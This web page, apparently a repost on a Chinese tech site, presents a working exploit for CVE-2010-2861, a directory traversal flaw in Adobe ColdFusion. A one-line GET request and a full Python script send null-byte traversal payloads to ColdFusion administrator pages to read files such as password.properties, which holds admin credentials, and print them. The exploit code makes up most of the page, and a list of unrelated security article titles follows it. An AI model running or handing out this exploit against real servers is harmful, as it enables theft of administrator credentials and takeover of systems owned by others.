Adobe ColdFusion Unspecified Directory Traversal Vulnerability

简介: # Working GET request courtesy of carnal0wnage:# http://server/CFIDE/administrator/enter.
# Working GET request courtesy of carnal0wnage:
# http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
#
# LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm"


#!/usr/bin/python

# CVE-2010-2861 - Adobe ColdFusion Unspecified Directory Traversal Vulnerability
# detailed information about the exploitation of this vulnerability:
# http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/

# leo 13.08.2010

import sys
import socket
import re

# in case some directories are blocked
filenames = ("/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm", "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/enter.cfm")

post = """POST %s HTTP/1.1
Host: %s
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: %d

locale=%%00%s%%00a"""

def main():
    if len(sys.argv) != 4:
        print "usage: %s <host> <port> <file_path>" % sys.argv[0]
        print "example: %s localhost 80 ../../../../../../../lib/password.properties" % sys.argv[0]
        print "if successful, the file will be printed"
        return
    
    host = sys.argv[1]
    port = sys.argv[2]
    path = sys.argv[3]

    for f in filenames:
        print "------------------------------"
        print "trying", f

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, int(port)))
        s.send(post % (f, host, len(path) + 14, path))

        buf = ""
        while 1:
            buf_s = s.recv(1024)
            if len(buf_s) == 0:
                break
            buf += buf_s
       
        m = re.search('<title>(.*)</title>', buf, re.S)
        if m != None:
            title = m.groups(0)[0]
            print "title from server in %s:" % f
            print "------------------------------"
            print m.groups(0)[0]
            print "------------------------------"

if __name__ == '__main__':
    main()
目录
相关文章
|
SQL 安全 Java
解决Fortify漏洞:Access Specifier Manipulation
解决Fortify漏洞:Access Specifier Manipulation
1257 0
|
安全 Java Ruby
Yes Small Companies Can – and Should – Build Secure Software
"For large software companies or major corporations such as banks or health care firms with lar...
1030 0
|
JavaScript 内存技术
Vulnerabilities in SWFUpload in multiple web applications: WordPress, Dotclear, InstantCMS, AionWeb
Hello list! Earlier I've wrote about Content Spoofing and Cross-Site Scripting vulnerabilities in SWFUpload (http://securityvulns.
943 0
|
SQL 安全 传感器
Checking For Vulnerabilities in Path Fragments
http://www.acunetix.com/blog/web-security-zone/articles/web-vulnerabilities-path-fragments/?ut...
976 0
|
应用服务中间件 nginx
nginx Directory Traversal Vulnerability
Attackers can exploit this issue through a browser.
549 0
eWebEditor suffers from a directory traversal vulnerability
################################################################## Securitylab.
1031 0
|
虚拟化 Perl 网络安全
GuestStealer allows for the stealing of VMware guests from vulnerable hosts based on the Directory Traversal Vulnerability
GuestStealer allows for the stealing of VMware guests from vulnerable hosts based on the Directo...
838 0

热门文章

最新文章

下一篇
开通oss服务